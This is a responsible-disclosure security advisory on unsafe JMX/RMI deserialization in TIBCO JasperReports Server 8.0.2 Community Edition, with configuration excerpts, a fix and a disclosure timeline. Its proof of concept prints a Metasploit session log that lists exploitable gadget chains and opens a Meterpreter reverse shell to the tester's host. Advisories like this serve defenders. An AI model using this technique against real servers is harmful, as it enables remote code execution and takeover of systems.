Advisory ID: SYSS-2022-041 Product: JasperReports Server Manufacturer: TIBCO Software Inc. Tested Version(s): 8.0.2 Community Edition Vulnerability Type: CWE-502: Deserialization of Untrusted Data Risk Level: High Solution Status: Fixed Manufacturer Notification: 2022-06-10 Solution Date: 2022-08-10 Public Disclosure: 2022-09-09 CVE Reference: None assigned Author of Advisory: Moritz Bechler, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The manufacturer describes the product as follows (see [1]): "TIBCO JasperReports(R) Server is a stand-alone and embeddable reporting server. It provides reporting and analytics that can be embedded into a web or mobile application as well as operate as a central information hub for the enterprise by delivering mission critical information on a real-time or scheduled basis to the browser, mobile device, or email inbox in a variety of file formats." Due to JMX/RMI services performing unsafe deserialization, it is possible to execute arbitrary code and system commands on the server system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The JasperReports Server web application spawns a non-standard JMX diagnostic server exposed under the RMI name "jasperserver". The relevant configuration is found in WEB-INF/js.diagnostic.properties: ------ #Diagnostic default remote access configuration diagnostic.usePlatformJMXServer = false diagnostic.port = 10990 diagnostic.name = jasperserver diagnostic.rmiHost = localhost ------ It is also found in WEB-INF/applicationContext-diagnostic.xml: ------ <!--Bean which create Connector to JMS Servercan be disabled if not Using separate JMX Server--> <bean id="jasperJMXServerConnector" class="org.springframework.jmx.support.ConnectorServerFactoryBean" lazy-init="false"> <property name="server" ref="jasperJMXServer"/> <property name="objectName" value="connector:name=rmi"/> <property name="serviceUrl" value="service:jmx:rmi:///jndi/rmi://${diagnostic.rmiHost}:${diagnostic.port}/${diagnostic.name}"/> <property name="environmentMap"> <map> <entry key="jmx.remote.authenticator" value-ref="jMXAuthenticator"/> </map> </property> </bean> ------ While the hostname for the RMI bind is specified as localhost, this does, in fact, not set the bind address and both the registry and the (random) object port are reachable over the network. Only the returned reference address is broken, as it points to the local address, but this can be adjusted for exploitation. And while various security patches have implemented type restrictions for the fundamental RMI services (DGC, Registry) and the JMX authentication, the latter is not applied in this case. It is only active if the following property is set: "jmx.remote.rmi.server.credential.types". For a regular JMX server, this is configured by the standard library's JMX ConnectorBootstrap; however, this is not the case for the custom JMX server created through Spring's ConnectorServerFactoryBean. Therefore, the RMIServer.newClient endpoint performs unrestricted, unsafe deserialization and can be exploited using one of the known, published gadget chains (e.g. from ysoserial[5]) in one of the libraries bundled by the server. These allow for execution of arbitrary bytecode and/or system commands on the server. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): JasperReports Server (CE) was installed according to the documentation[4] on a Debian 11 system running Tomcat 9.0.43-2~deb11u3 and OpenJDK 11.0.15. After the successful initial setup, a new RMI service can be observed on TCP port 10990: ------ PORT STATE SERVICE VERSION 10990/tcp open java-rmi Java RMI | rmi-dumpregistry: | jasperserver | javax.management.remote.rmi.RMIServerImpl_Stub | @127.0.1.1:39297 | extends | java.rmi.server.RemoteStub | extends |_ java.rmi.server.RemoteObject ------ Using a custom Metasploit module, calls on the exposed RMI object can be made (calling JMX's RMIServer.newClient(Object creds)). The module is capable of identifying known exploitable types on the remote classpath and sending malicious crafted objects. These, when deserialized by the remote RMI server, spawn a Java Meterpreter instance and open a reverse shell. ------ msf6 exploit(multi/java/rmi_server) > [*] Started reverse TCP handler on 192.168.56.1:4444 [*] payload/java/classfile/meterpreter/reverse_tcp [*] Trying bytecode execution [*] Found RMI Registry with 1 registered objects [+] Registry lookup() name argument is filtered [*] Bind access check before deserialization [*] DGC found [+] DGC filters parameter types [*] Found 1 referenced objects, following references [*] Custom object found jasperserver [*] Trying with original host 192.168.56.106 port 39297 [*] Method/interface hash -1089742558549201240 method id -1 [*] Initial test returned error java.lang.SecurityException [-] Incompatible commons-fileupload [*] Identified 1 attack vector(s), gadgets ["hashdos", "beanutils", "hibernate", "hibernate-validator", "spring-typeprov", "spring-jta", "rhino"] [*] Skipping gadget hashdos based on config [*] Sending stage (53921 bytes) to 192.168.56.106 [...] [*] Waiting for exploit to complete... [*] Have session... [*] Server stopped. [*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.106:46828) at 2022-06-09 13:39:40 +0200 ------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Disable the JMX server as per documentation, as per section 9.12 of [6]. Update to version 8.1.0 which disables the JMX service by default. Do not enable the Diagnostic JMX Server. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2022-06-08: Vulnerability discovered 2022-06-10: Vulnerability reported to manufacturer 2022-08-10: Patch released by manufacturer 2022-09-09: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for JasperReports Server https://community.jaspersoft.com/project/jasperreports-server [2] SySS Security Advisory SYSS-2022-041 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-041.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] TIBCO JasperReports Server Community Edition Release Notes https://community.jaspersoft.com/documentation/tibco-jasperreports-server-community-edition-release-notes/v750/installation-and-basic [5] ysoserial https://github.com/frohoff/ysoserial/ [6] JasperReports Server Administrator Guide https://docs.tibco.com/pub/js-jrs/8.0.2/doc/pdf/TIB_js-jrs_8.0.0_Admin-Guide.pdf?id=5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Moritz Bechler of SySS GmbH. E-Mail: moritz.bechler@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc Key ID: 0x768EFE2BB3E53DDA Key Fingerprint: 2C8F F101 9D77 BDE6 465E CCC2 768E FE2B B3E5 3DDA ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en